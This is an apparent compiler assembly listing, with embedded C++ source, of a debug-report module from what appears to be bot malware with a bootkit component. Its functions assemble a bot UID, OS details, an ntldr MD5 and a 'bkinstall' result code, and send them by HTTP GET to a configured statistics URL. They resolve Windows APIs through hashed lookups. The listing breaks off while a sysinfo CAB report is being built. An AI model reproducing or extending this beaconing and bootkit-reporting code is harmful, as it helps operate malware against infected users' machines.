??_C@_04HMPDOICP@cs01?$AA@ DB 'cs01', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_02EHCHIAMF@os?$AA@
CONST	SEGMENT
??_C@_02EHCHIAMF@os?$AA@ DB 'os', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_09GCOHINED@beforerbt?$AA@
CONST	SEGMENT
??_C@_09GCOHINED@beforerbt?$AA@ DB 'beforerbt', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportSystem@@YAXXZ
_TEXT	SEGMENT
_NtldrMd5Buffer$ = -128					; size = 100
_BotUid$ = -28						; size = 8
$T93075 = -20						; size = 8
_Params$ = -16						; size = 4
_OsInfo$ = -12						; size = 4
_Buffer$ = -8						; size = 4
_URL$ = -4						; size = 4
_NtldrMd5$ = -4						; size = 4
?DebugReportSystem@@YAXXZ PROC				; DebugReportSystem, COMDAT
; 430  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 80 00 00
	00		 sub	 esp, 128		; 00000080H
  00009	53		 push	 ebx
  0000a	56		 push	 esi
; 431  : 	DebugReportSettings* settings = DebugReportGetSettings();
  0000b	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  00010	8b f0		 mov	 esi, eax
; 432  : 	DBGRPTDBG("DebugReportSystem",
; 433  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 434  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 435  : 		);
; 436  : 
; 437  : 	if (!settings->Enabled) return;
  00012	33 db		 xor	 ebx, ebx
  00014	38 1e		 cmp	 BYTE PTR [esi], bl
  00016	0f 84 f8 00 00
	00		 je	 $LN3@DebugRepor@8
  0001c	57		 push	 edi
; 438  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  0001d	ff 76 04	 push	 DWORD PTR [esi+4]
  00020	8d 4d ec	 lea	 ecx, DWORD PTR $T93075[ebp]
  00023	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00028	8d 45 ec	 lea	 eax, DWORD PTR $T93075[ebp]
  0002b	50		 push	 eax
  0002c	8d 45 e4	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002f	50		 push	 eax
  00030	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00035	59		 pop	 ecx
  00036	59		 pop	 ecx
  00037	8d 4d ec	 lea	 ecx, DWORD PTR $T93075[ebp]
  0003a	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 439  : 
; 440  : 	CHAR NtldrMd5Buffer[100];
; 441  : 	PCHAR OsInfo = NULL;
; 442  : 	PCHAR NtldrMd5 = NULL;
; 443  : 
; 444  : 	OsInfo = GetOSInfo();
  0003f	e8 00 00 00 00	 call	 ?GetOSInfo@@YAPADXZ	; GetOSInfo
  00044	89 45 f4	 mov	 DWORD PTR _OsInfo$[ebp], eax
; 445  : 	NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer));
  00047	8d 45 80	 lea	 eax, DWORD PTR _NtldrMd5Buffer$[ebp]
  0004a	6a 64		 push	 100			; 00000064H
  0004c	50		 push	 eax
  0004d	e8 00 00 00 00	 call	 ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5
  00052	89 45 fc	 mov	 DWORD PTR _NtldrMd5$[ebp], eax
; 446  : 
; 447  : 	PStrings Fields = Strings::Create();
  00055	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 448  : 	AddURLParam(Fields, "cmd", "beforerbt");
  0005a	53		 push	 ebx
  0005b	68 00 00 00 00	 push	 OFFSET ??_C@_09GCOHINED@beforerbt?$AA@
  00060	8b f8		 mov	 edi, eax
  00062	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  00067	57		 push	 edi
  00068	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 449  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  0006d	8b 45 e8	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  00070	83 c4 18	 add	 esp, 24			; 00000018H
  00073	3b c3		 cmp	 eax, ebx
  00075	75 05		 jne	 SHORT $LN10@DebugRepor@8
  00077	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN10@DebugRepor@8:
  0007c	53		 push	 ebx
  0007d	50		 push	 eax
  0007e	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  00083	57		 push	 edi
  00084	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 450  : 	AddURLParam(Fields, "os", OsInfo);
  00089	53		 push	 ebx
  0008a	ff 75 f4	 push	 DWORD PTR _OsInfo$[ebp]
  0008d	68 00 00 00 00	 push	 OFFSET ??_C@_02EHCHIAMF@os?$AA@
  00092	57		 push	 edi
  00093	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
  00098	83 c4 20	 add	 esp, 32			; 00000020H
; 451  : 
; 452  : 	if (NtldrMd5 != NULL)
  0009b	39 5d fc	 cmp	 DWORD PTR _NtldrMd5$[ebp], ebx
  0009e	74 12		 je	 SHORT $LN1@DebugRepor@8
; 453  : 	{
; 454  : 		AddURLParam(Fields, "cs01", NtldrMd5);
  000a0	53		 push	 ebx
  000a1	ff 75 fc	 push	 DWORD PTR _NtldrMd5$[ebp]
  000a4	68 00 00 00 00	 push	 OFFSET ??_C@_04HMPDOICP@cs01?$AA@
  000a9	57		 push	 edi
  000aa	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
  000af	83 c4 10	 add	 esp, 16			; 00000010H
$LN1@DebugRepor@8:
; 455  : 	}
; 456  : 
; 457  : 	PCHAR Params = Strings::GetText(Fields, "&");
  000b2	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  000b7	57		 push	 edi
  000b8	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 458  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  000bd	50		 push	 eax
  000be	ff 76 08	 push	 DWORD PTR [esi+8]
  000c1	89 45 f0	 mov	 DWORD PTR _Params$[ebp], eax
  000c4	6a 02		 push	 2
  000c6	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 459  : 
; 460  : 	DBGRPTDBG("DebugReportSystem", "sending url='%s'", URL);
; 461  : 
; 462  : 	PCHAR Buffer = NULL;
; 463  : 	HTTP::Get(URL, &Buffer, NULL);
  000cb	53		 push	 ebx
  000cc	8d 4d f8	 lea	 ecx, DWORD PTR _Buffer$[ebp]
  000cf	51		 push	 ecx
  000d0	50		 push	 eax
  000d1	89 45 fc	 mov	 DWORD PTR _URL$[ebp], eax
  000d4	89 5d f8	 mov	 DWORD PTR _Buffer$[ebp], ebx
  000d7	e8 00 00 00 00	 call	 ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get
; 464  : 
; 465  : 	STR::Free(Buffer);
  000dc	ff 75 f8	 push	 DWORD PTR _Buffer$[ebp]
  000df	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 466  : 	STR::Free(URL);
  000e4	ff 75 fc	 push	 DWORD PTR _URL$[ebp]
  000e7	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 467  : 	STR::Free(Params);
  000ec	ff 75 f0	 push	 DWORD PTR _Params$[ebp]
  000ef	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 468  : 	Strings::Free(Fields);
  000f4	57		 push	 edi
  000f5	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 469  : 	MemFree(OsInfo);
  000fa	ff 75 f4	 push	 DWORD PTR _OsInfo$[ebp]
  000fd	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 470  : 	DebugReportFreeSettings(settings);
  00102	56		 push	 esi
  00103	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  00108	83 c4 38	 add	 esp, 56			; 00000038H
; 471  : }
  0010b	8d 4d e4	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  0010e	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00113	5f		 pop	 edi
$LN3@DebugRepor@8:
  00114	5e		 pop	 esi
  00115	5b		 pop	 ebx
  00116	c9		 leave
  00117	c3		 ret	 0
?DebugReportSystem@@YAXXZ ENDP				; DebugReportSystem
_TEXT	ENDS
PUBLIC	??_C@_03BALCFKBP@val?$AA@			; `string'
PUBLIC	??_C@_09IJIHGPHM@bkinstall?$AA@			; `string'
PUBLIC	??_C@_02GMHACPFF@?$CFu?$AA@			; `string'
PUBLIC	?DebugReportBkInstallCode@@YAXK@Z		; DebugReportBkInstallCode
EXTRN	?GetProcAddressEx@@YAPAXPADKK@Z:PROC		; GetProcAddressEx
;	COMDAT ??_C@_03BALCFKBP@val?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_03BALCFKBP@val?$AA@ DB 'val', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_09IJIHGPHM@bkinstall?$AA@
CONST	SEGMENT
??_C@_09IJIHGPHM@bkinstall?$AA@ DB 'bkinstall', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_02GMHACPFF@?$CFu?$AA@
CONST	SEGMENT
??_C@_02GMHACPFF@?$CFu?$AA@ DB '%u', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportBkInstallCode@@YAXK@Z
_TEXT	SEGMENT
_value$ = -76						; size = 50
_BotUid$ = -24						; size = 8
$T93090 = -16						; size = 8
_Params$ = -12						; size = 4
_URL$ = -8						; size = 4
_Buffer$ = -4						; size = 4
_BkInstallResult$ = 8					; size = 4
?DebugReportBkInstallCode@@YAXK@Z PROC			; DebugReportBkInstallCode, COMDAT
; 474  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 4c	 sub	 esp, 76			; 0000004cH
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 475  : 	DebugReportSettings* settings = DebugReportGetSettings();
  00008	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  0000d	8b f0		 mov	 esi, eax
; 476  : 	DBGRPTDBG("DebugReportBkInstallCode",
; 477  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 478  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 479  : 		);
; 480  : 
; 481  : 	if (!settings->Enabled) return;
  0000f	33 db		 xor	 ebx, ebx
  00011	38 1e		 cmp	 BYTE PTR [esi], bl
  00013	0f 84 ed 00 00
	00		 je	 $LN2@DebugRepor@9
  00019	57		 push	 edi
; 482  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  0001a	ff 76 04	 push	 DWORD PTR [esi+4]
  0001d	8d 4d f0	 lea	 ecx, DWORD PTR $T93090[ebp]
  00020	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00025	8d 45 f0	 lea	 eax, DWORD PTR $T93090[ebp]
  00028	50		 push	 eax
  00029	8d 45 e8	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00032	59		 pop	 ecx
  00033	59		 pop	 ecx
  00034	8d 4d f0	 lea	 ecx, DWORD PTR $T93090[ebp]
  00037	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 483  : 
; 484  : 	CHAR value[50];
; 485  : 
; 486  : 	typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... );
; 487  : 	fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
  0003c	68 d7 f0 3a ea	 push	 -365236009		; ea3af0d7H
  00041	6a 03		 push	 3
  00043	53		 push	 ebx
  00044	e8 00 00 00 00	 call	 ?GetProcAddressEx@@YAPAXPADKK@Z ; GetProcAddressEx
; 488  : 
; 489  : 	m_memset(value, 0, sizeof(value));
  00049	6a 32		 push	 50			; 00000032H
  0004b	8b f8		 mov	 edi, eax
  0004d	8d 45 b4	 lea	 eax, DWORD PTR _value$[ebp]
  00050	53		 push	 ebx
  00051	50		 push	 eax
  00052	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 490  : 
; 491  : 	_pwsprintfA(value, "%u", BkInstallResult);
  00057	ff 75 08	 push	 DWORD PTR _BkInstallResult$[ebp]
  0005a	8d 45 b4	 lea	 eax, DWORD PTR _value$[ebp]
  0005d	68 00 00 00 00	 push	 OFFSET ??_C@_02GMHACPFF@?$CFu?$AA@
  00062	50		 push	 eax
  00063	ff d7		 call	 edi
; 492  : 
; 493  : 	PStrings Fields = Strings::Create();
  00065	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 494  : 	AddURLParam(Fields, "cmd", "bkinstall");
  0006a	53		 push	 ebx
  0006b	68 00 00 00 00	 push	 OFFSET ??_C@_09IJIHGPHM@bkinstall?$AA@
  00070	8b f8		 mov	 edi, eax
  00072	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  00077	57		 push	 edi
  00078	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 495  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  0007d	8b 45 ec	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  00080	83 c4 34	 add	 esp, 52			; 00000034H
  00083	3b c3		 cmp	 eax, ebx
  00085	75 05		 jne	 SHORT $LN9@DebugRepor@9
  00087	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN9@DebugRepor@9:
  0008c	53		 push	 ebx
  0008d	50		 push	 eax
  0008e	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  00093	57		 push	 edi
  00094	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 496  : 	AddURLParam(Fields, "val", value);
  00099	53		 push	 ebx
  0009a	8d 45 b4	 lea	 eax, DWORD PTR _value$[ebp]
  0009d	50		 push	 eax
  0009e	68 00 00 00 00	 push	 OFFSET ??_C@_03BALCFKBP@val?$AA@
  000a3	57		 push	 edi
  000a4	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 497  : 
; 498  : 	PCHAR Params = Strings::GetText(Fields, "&");
  000a9	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  000ae	57		 push	 edi
  000af	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 499  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  000b4	50		 push	 eax
  000b5	ff 76 08	 push	 DWORD PTR [esi+8]
  000b8	89 45 f4	 mov	 DWORD PTR _Params$[ebp], eax
  000bb	6a 02		 push	 2
  000bd	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 500  : 	
; 501  : 	DBGRPTDBG("DebugReportBkInstallCode", "sending url='%s'", URL);
; 502  : 
; 503  : 	PCHAR Buffer = NULL;
; 504  : 	HTTP::Get(URL, &Buffer, NULL);
  000c2	53		 push	 ebx
  000c3	8d 4d fc	 lea	 ecx, DWORD PTR _Buffer$[ebp]
  000c6	51		 push	 ecx
  000c7	50		 push	 eax
  000c8	89 45 f8	 mov	 DWORD PTR _URL$[ebp], eax
  000cb	89 5d fc	 mov	 DWORD PTR _Buffer$[ebp], ebx
  000ce	e8 00 00 00 00	 call	 ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get
  000d3	83 c4 40	 add	 esp, 64			; 00000040H
; 505  : 
; 506  : 	STR::Free(Buffer);
  000d6	ff 75 fc	 push	 DWORD PTR _Buffer$[ebp]
  000d9	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 507  : 	STR::Free(URL);
  000de	ff 75 f8	 push	 DWORD PTR _URL$[ebp]
  000e1	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 508  : 	STR::Free(Params);
  000e6	ff 75 f4	 push	 DWORD PTR _Params$[ebp]
  000e9	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 509  : 	Strings::Free(Fields);
  000ee	57		 push	 edi
  000ef	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 510  : 	DebugReportFreeSettings(settings);
  000f4	56		 push	 esi
  000f5	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000fa	83 c4 14	 add	 esp, 20			; 00000014H
; 511  : }
  000fd	8d 4d e8	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  00100	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00105	5f		 pop	 edi
$LN2@DebugRepor@9:
  00106	5e		 pop	 esi
  00107	5b		 pop	 ebx
  00108	c9		 leave
  00109	c3		 ret	 0
?DebugReportBkInstallCode@@YAXK@Z ENDP			; DebugReportBkInstallCode
_TEXT	ENDS
PUBLIC	??_C@_04ODMANJEA@csup?$AA@			; `string'
PUBLIC	?DebugReportUpdateNtldrCheckSum@@YAXXZ		; DebugReportUpdateNtldrCheckSum
;	COMDAT ??_C@_04ODMANJEA@csup?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_04ODMANJEA@csup?$AA@ DB 'csup', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportUpdateNtldrCheckSum@@YAXXZ
_TEXT	SEGMENT
_NtldrMd5Buffer$ = -124					; size = 100
_BotUid$ = -24						; size = 8
$T93105 = -16						; size = 8
_Params$ = -12						; size = 4
_Buffer$ = -8						; size = 4
_URL$ = -4						; size = 4
_NtldrMd5$ = -4						; size = 4
?DebugReportUpdateNtldrCheckSum@@YAXXZ PROC		; DebugReportUpdateNtldrCheckSum, COMDAT
; 514  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 7c	 sub	 esp, 124		; 0000007cH
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 515  : 	DebugReportSettings* settings = DebugReportGetSettings();
  00008	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  0000d	8b f0		 mov	 esi, eax
; 516  : 	DBGRPTDBG("DebugReportUpdateNtldrCheckSum",
; 517  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 518  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 519  : 		);
; 520  : 
; 521  : 	if (!settings->Enabled) return;
  0000f	33 db		 xor	 ebx, ebx
  00011	38 1e		 cmp	 BYTE PTR [esi], bl
  00013	0f 84 d9 00 00
	00		 je	 $LN3@DebugRepor@10
  00019	57		 push	 edi
; 522  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  0001a	ff 76 04	 push	 DWORD PTR [esi+4]
  0001d	8d 4d f0	 lea	 ecx, DWORD PTR $T93105[ebp]
  00020	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00025	8d 45 f0	 lea	 eax, DWORD PTR $T93105[ebp]
  00028	50		 push	 eax
  00029	8d 45 e8	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00032	59		 pop	 ecx
  00033	59		 pop	 ecx
  00034	8d 4d f0	 lea	 ecx, DWORD PTR $T93105[ebp]
  00037	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 523  : 
; 524  : 	CHAR NtldrMd5Buffer[100];
; 525  : 	PCHAR NtldrMd5 = NULL;
; 526  : 
; 527  : 	NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer));
  0003c	8d 45 84	 lea	 eax, DWORD PTR _NtldrMd5Buffer$[ebp]
  0003f	6a 64		 push	 100			; 00000064H
  00041	50		 push	 eax
  00042	e8 00 00 00 00	 call	 ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5
  00047	89 45 fc	 mov	 DWORD PTR _NtldrMd5$[ebp], eax
; 528  : 
; 529  : 	PStrings Fields = Strings::Create();
  0004a	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 530  : 	AddURLParam(Fields, "cmd", "csup");
  0004f	53		 push	 ebx
  00050	68 00 00 00 00	 push	 OFFSET ??_C@_04ODMANJEA@csup?$AA@
  00055	8b f8		 mov	 edi, eax
  00057	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  0005c	57		 push	 edi
  0005d	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 531  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  00062	8b 45 ec	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  00065	83 c4 18	 add	 esp, 24			; 00000018H
  00068	3b c3		 cmp	 eax, ebx
  0006a	75 05		 jne	 SHORT $LN10@DebugRepor@10
  0006c	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN10@DebugRepor@10:
  00071	53		 push	 ebx
  00072	50		 push	 eax
  00073	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  00078	57		 push	 edi
  00079	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
  0007e	83 c4 10	 add	 esp, 16			; 00000010H
; 532  : 
; 533  : 	if (NtldrMd5 != NULL)
  00081	39 5d fc	 cmp	 DWORD PTR _NtldrMd5$[ebp], ebx
  00084	74 12		 je	 SHORT $LN1@DebugRepor@10
; 534  : 	{
; 535  : 		AddURLParam(Fields, "cs01", NtldrMd5);
  00086	53		 push	 ebx
  00087	ff 75 fc	 push	 DWORD PTR _NtldrMd5$[ebp]
  0008a	68 00 00 00 00	 push	 OFFSET ??_C@_04HMPDOICP@cs01?$AA@
  0008f	57		 push	 edi
  00090	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
  00095	83 c4 10	 add	 esp, 16			; 00000010H
$LN1@DebugRepor@10:
; 536  : 	}
; 537  : 
; 538  : 	PCHAR Params = Strings::GetText(Fields, "&");
  00098	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  0009d	57		 push	 edi
  0009e	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 539  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  000a3	50		 push	 eax
  000a4	ff 76 08	 push	 DWORD PTR [esi+8]
  000a7	89 45 f4	 mov	 DWORD PTR _Params$[ebp], eax
  000aa	6a 02		 push	 2
  000ac	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 540  : 
; 541  : 	DBGRPTDBG("DebugReportUpdateNtldrCheckSumm", "go to url='%s'", URL);
; 542  : 	PCHAR Buffer = NULL;
; 543  : 	HTTP::Get(URL, &Buffer, NULL);
  000b1	53		 push	 ebx
  000b2	8d 4d f8	 lea	 ecx, DWORD PTR _Buffer$[ebp]
  000b5	51		 push	 ecx
  000b6	50		 push	 eax
  000b7	89 45 fc	 mov	 DWORD PTR _URL$[ebp], eax
  000ba	89 5d f8	 mov	 DWORD PTR _Buffer$[ebp], ebx
  000bd	e8 00 00 00 00	 call	 ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get
; 544  : 
; 545  : 	STR::Free(Buffer);
  000c2	ff 75 f8	 push	 DWORD PTR _Buffer$[ebp]
  000c5	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 546  : 	STR::Free(URL);
  000ca	ff 75 fc	 push	 DWORD PTR _URL$[ebp]
  000cd	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 547  : 	STR::Free(Params);
  000d2	ff 75 f4	 push	 DWORD PTR _Params$[ebp]
  000d5	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 548  : 	Strings::Free(Fields);
  000da	57		 push	 edi
  000db	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 549  : 	DebugReportFreeSettings(settings);
  000e0	56		 push	 esi
  000e1	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000e6	83 c4 34	 add	 esp, 52			; 00000034H
; 550  : }
  000e9	8d 4d e8	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  000ec	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000f1	5f		 pop	 edi
$LN3@DebugRepor@10:
  000f2	5e		 pop	 esi
  000f3	5b		 pop	 ebx
  000f4	c9		 leave
  000f5	c3		 ret	 0
?DebugReportUpdateNtldrCheckSum@@YAXXZ ENDP		; DebugReportUpdateNtldrCheckSum
_TEXT	ENDS
PUBLIC	??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@		; `string'
PUBLIC	??_C@_01BJJEKLCA@?$CC?$AA@			; `string'
PUBLIC	??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@		; `string'
PUBLIC	?DebugReportCreateConfigReportAndSend@@YAXXZ	; DebugReportCreateConfigReportAndSend
EXTRN	?CloseCab@@YAXPAX@Z:PROC			; CloseCab
EXTRN	?AddFileToCab@@YA_NPAXPBD1@Z:PROC		; AddFileToCab
EXTRN	?CreateCab@@YAPAXPBD@Z:PROC			; CreateCab
EXTRN	?GetTempNameA@File@@YAPADXZ:PROC		; File::GetTempNameA
;	COMDAT ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@ DB 'sysinfo.txt', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_01BJJEKLCA@?$CC?$AA@
CONST	SEGMENT
??_C@_01BJJEKLCA@?$CC?$AA@ DB '"', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@
CONST	SEGMENT
??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@ DB ' /report "', 00H ; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportCreateConfigReportAndSend@@YAXXZ
_TEXT	SEGMENT
_si$91709 = -116					; size = 68
_pi$91708 = -48						; size = 16
_BotUid$91819 = -32					; size = 8
$T93120 = -24						; size = 8
_settings$ = -16					; size = 4
_MsInfoPath$ = -12					; size = 4
_CabPath$ = -8						; size = 4
_ReportPath$ = -4					; size = 4
?DebugReportCreateConfigReportAndSend@@YAXXZ PROC	; DebugReportCreateConfigReportAndSend, COMDAT
; 607  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 74	 sub	 esp, 116		; 00000074H
  00006	53		 push	 ebx
; 608  : 	PCHAR MsInfoPath = NULL;
; 609  : 	PCHAR MsInfoParam = NULL;
; 610  : 	PCHAR ReportPath = NULL;
; 611  : 	PCHAR CabPath = NULL;
  00007	33 db		 xor	 ebx, ebx
  00009	89 5d f8	 mov	 DWORD PTR _CabPath$[ebp], ebx
; 612  : 
; 613  : 	DebugReportSettings* settings = DebugReportGetSettings();
  0000c	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  00011	89 45 f0	 mov	 DWORD PTR _settings$[ebp], eax
; 614  : 	DBGRPTDBG("DebugReportCreateConfigReportAndSend",
; 615  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 616  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 617  : 		);
; 618  : 
; 619  : 	if (!settings->Enabled) return;
  00014	38 18		 cmp	 BYTE PTR [eax], bl
  00016	0f 84 a5 01 00
